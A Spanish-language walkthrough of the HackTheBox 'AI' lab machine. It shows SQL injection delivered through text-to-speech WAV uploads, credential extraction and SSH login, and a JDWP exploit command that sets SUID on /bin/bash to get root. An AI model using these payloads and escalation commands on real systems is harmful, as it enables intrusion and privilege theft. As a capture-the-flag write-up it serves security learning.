En la mañana de hoy estaremos resolviendo la máquina AI de HackTheBox.
Enumeración Inicial.
Lo primero será descubrir los servicios expuestos que tiene el host. Para esta tarea usaremos la herramienta nmap.
# Nmap 7.91 scan initiated Sun Feb 26 20:00:18 2023 as: nmap -sC -sV -Pn -oN Extraction -p22,80 10.10.10.163
Nmap scan report for 10.10.10.163
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
| 256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_ 256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 26 20:00:29 2023 -- 1 IP address (1 host up) scanned in 10.58 seconds
Tiene dos puertos abiertos el ssh y el puerto 80 que corresponde al http. Si visitamos la página podemos ver que podemos usar una especie de IA. Suspuestamente funciona por voz y nos permite subirle archivos con extension WAV. Utilicé feroxbuster para encontrar directorios y archivos.
❯ feroxbuster -t 50 -W 30 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.10.163/ -x php,pdf,txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.163/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.3
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💢 Word Count Filter │ 30
💲 Extensions │ [php, pdf, txt]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 9l 28w 313c http://10.10.10.163/images => http://10.10.10.163/images/
200 GET 189l 332w 0c http://10.10.10.163/
403 GET 9l 28w 277c http://10.10.10.163/.php
200 GET 189l 332w 0c http://10.10.10.163/index.php
200 GET 190l 339w 0c http://10.10.10.163/contact.php
301 GET 9l 28w 314c http://10.10.10.163/uploads => http://10.10.10.163/uploads/
200 GET 190l 359w 0c http://10.10.10.163/about.php
200 GET 0l 0w 0c http://10.10.10.163/db.php
200 GET 272l 486w 0c http://10.10.10.163/intelligence.php
200 GET 194l 355w 0c http://10.10.10.163/ai.php
403 GET 9l 28w 277c http://10.10.10.163/server-status
Mencionaré los endpoints interesantes...
- intelligence.php contiene una tabla con inputs que la IA puede procesar.
- Contact.php contiene un mail -> MrR3boot@ai.htb puede que sea un usuario del sistema
- ai.php nos permite subir los .WAV
intelligence.php tiene muchas opciones que hacen referencia a consultas SQL intentaré generar un WAV con una comilla y ver si es vulnerable a SQLI, tambien se hace referencia a python y a lo mejor podemos llamar a la libreria os y ejecutar comandos.
Encontre una página para crear .mp3 a partir de texto https://ttsmp3.com/ y posteriormente los transformava a wav con ffmpeg.
ffmpeg -i ttsMP3.com_VoiceText_2023-2-27_8_5_2.mp3 testing.wav
El primer payload que intente fué:
one open single quote
La respuesta fue la siguiente:

Explotación Web
Sabiendo que era vulnerable a SQLI fui probando los siguientes payloads.
open single quote space UNION SELECT one comment database

Se me estaba complicando porque no me estaba pillando bien los payloads. Asi que empecé a probar cosas basicas. Además cambié de web para generar los .mp3 https://voicemaker.in/
Esta web tampoco me dio resultado... Me instalé una herramienta llamada flite que me permitía generar los wav de forma automática.
Esta vez si me funcionó, mas o menos. Puede extraer un usuario de la tabla users.
flite -w /tmp/test.wav -voice rms -t "open single quote UNION SELECT space username from users Comment Database"

Ahora conseguí extraer la contraseña.
flite -w /tmp/test.wav -voice rms -t "open single quote UNION SELECT space password from users Comment Database"
Deje de enumerar la base de datos y me fuí a probar si las credenciales eran validas para el ssh.
❯ ssh alexa@10.10.10.163
The authenticity of host '10.10.10.163 (10.10.10.163)' can't be established.
ECDSA key fingerprint is SHA256:ghI7byxujOo6BLzCOPFbXgVPMmJVCoRsMuPs3zBgRQM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? eys
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.10.10.163' (ECDSA) to the list of known hosts.
alexa@10.10.10.163's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 5.3.7-050307-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Feb 27 07:39:02 UTC 2023
System load: 0.08 Processes: 146
Usage of /: 76.2% of 4.79GB Users logged in: 0
Memory usage: 41% IP address for eth0: 10.10.10.163
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
63 packages can be updated.
15 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Thu Oct 24 15:04:38 2019 from 192.168.0.104
alexa@AI:~$
Enumeración del sistema
Lo primero que miré fue si tenia algun privilegio sudo...
alexa@AI:~$ sudo -l
Matching Defaults entries for alexa on AI:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alexa may run the following commands on AI:
(ALL, !root) /usr/bin/vi
Podia ejecutar vi con cualquier usuario menos como root... Además miré los puertos abiertos de forma local y había varios. Pero ninguno me daba respuesta con curl, de todas formas intenté saber lo que eran.
alexa@AI:~$ netstat -putan
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 36 10.10.10.163:22 10.10.16.6:56102 ESTABLISHED -
tcp6 0 0 127.0.0.1:8080 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN -
tcp6 0 0 127.0.0.1:8009 :::* LISTEN -
udp 0 0 0.0.0.0:57982 0.0.0.0:* -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp6 0 0 :::58013 :::* -
udp6 0 0 :::5353 :::* -
Mirando los procesos en ejecución vi que se estaba ejecutando un apache tomcat de version 9.0.27
root 525 0.0 0.0 0 0 ? I< Feb26 0:00 [ib-comp-wq]
root 526 0.0 0.0 0 0 ? I< Feb26 0:00 [ib-comp-unb-wq]
root 528 0.0 0.0 0 0 ? I< Feb26 0:00 [ib_mcast]
root 529 0.0 0.0 0 0 ? I< Feb26 0:00 [ib_nl_sa_wq]
root 531 0.0 0.2 46076 4752 ? Ss Feb26 0:01 /lib/systemd/systemd-udevd
root 532 0.0 0.0 0 0 ? I< Feb26 0:00 [rdma_cm]
root 559 0.0 0.0 0 0 ? S< Feb26 0:00 [loop0]
root 560 0.0 0.0 0 0 ? S< Feb26 0:00 [loop1]
root 642 0.0 0.5 88220 10168 ? Ss Feb26 0:00 /usr/bin/VGAuthService
root 644 0.0 0.5 126852 11636 ? Ss Feb26 0:42 /usr/bin/vmtoolsd
root 985 0.0 0.2 70600 5940 ? Ss Feb26 0:00 /lib/systemd/systemd-logind
root 996 0.0 0.1 30024 3152 ? Ss Feb26 0:00 /usr/sbin/cron -f
avahi 999 0.0 0.0 47072 340 ? S Feb26 0:00 avahi-daemon: chroot helper
root 1010 0.0 0.0 309300 1876 ? Ssl Feb26 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root 1011 0.0 0.4 434320 9256 ? Ssl Feb26 0:00 /usr/sbin/ModemManager --filter-policy=strict
root 1012 0.0 0.2 45224 5428 ? Ss Feb26 0:00 /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
root 1016 0.0 0.1 110540 2080 ? Ssl Feb26 0:02 /usr/sbin/irqbalance --foreground
root 1023 0.0 0.4 300148 8800 ? Ssl Feb26 0:01 /usr/lib/accountsservice/accounts-daemon
root 1024 0.0 1.2 856708 25572 ? Ssl Feb26 0:03 /usr/lib/snapd/snapd
root 1072 0.0 0.4 302660 8532 ? Ssl Feb26 0:00 /usr/lib/policykit-1/polkitd --no-debug
root 1085 0.0 0.0 14884 1996 tty1 Ss+ Feb26 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 1101 0.0 0.3 72292 6384 ? Ss Feb26 0:00 /usr/sbin/sshd -D
root 1150 0.0 0.9 333780 18592 ? Ss Feb26 0:02 /usr/sbin/apache2 -k start
root 19821 0.0 0.0 0 0 ? I 06:09 0:01 [kworker/1:1-eve]
root 20261 0.0 0.0 0 0 ? I 06:25 0:03 [kworker/0:2-eve]
root 29753 0.0 0.0 0 0 ? I 06:25 0:02 [kworker/1:4-eve]
root 43251 0.0 0.0 0 0 ? I 07:04 0:00 [kworker/u256:0-]
root 43811 0.0 0.0 0 0 ? I 07:24 0:00 [kworker/u256:2-]
root 44178 0.0 0.3 107980 7288 ? Ss 07:38 0:00 sshd: alexa [priv]
root 44269 0.0 0.0 0 0 ? I 07:39 0:00 [kworker/0:0-eve]
root 44652 29.6 4.9 3108796 98356 ? Sl 07:46 0:02 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
La ubicación de los archivos del tomcat era /opt/ hice una pequeña busqueda y me encontré con el siguiente exploit. https://github.com/PenTestical/CVE-2020-9484
Necesitaba el ysoserial, me lo descargué desde mi equipo. Este exploit no funcionó. Seguí enumerando y vi que en el puerto 8000 esta corriendo JDWP
Java Debug Protocol (JDWP): Define el protocolo de comunicación entre los procesos _front-end_ y el _back-end_ del _debugger_ a través de varios canales de comunicación que incluyen _socket_ y memoria compartida.
Vi que había un exploit https://github.com/IOActive/jdwp-shellifier probe a ejecutarlo como ponía en hacktricks. https://book.hacktricks.xyz/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol
y dió resultado, puede darle permisos SUID a la bash.
alexa@AI:/tmp$ python2 exploit.py -t localhost -p 8000 --break-on 'java.lang.String.indexOf' --cmd "chmod +s /bin/bash"
[+] Targeting 'localhost:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f800003e870
[+] Created break event id=2
[+] Waiting for an event on 'java.lang.String.indexOf'
[+] Received matching event from thread 0xc31
[+] Selected payload 'chmod +s /bin/bash'
[+] Command string object created id:c32
[+] Runtime.getRuntime() returned context id:0xc33
[+] found Runtime.exec(): id=7f800003e8a8
[+] Runtime.exec() successful, retId=c34
[!] Command successfully executed
alexa@AI:/tmp$ bash -p
bash-4.4#
Espero que te haya servido!!!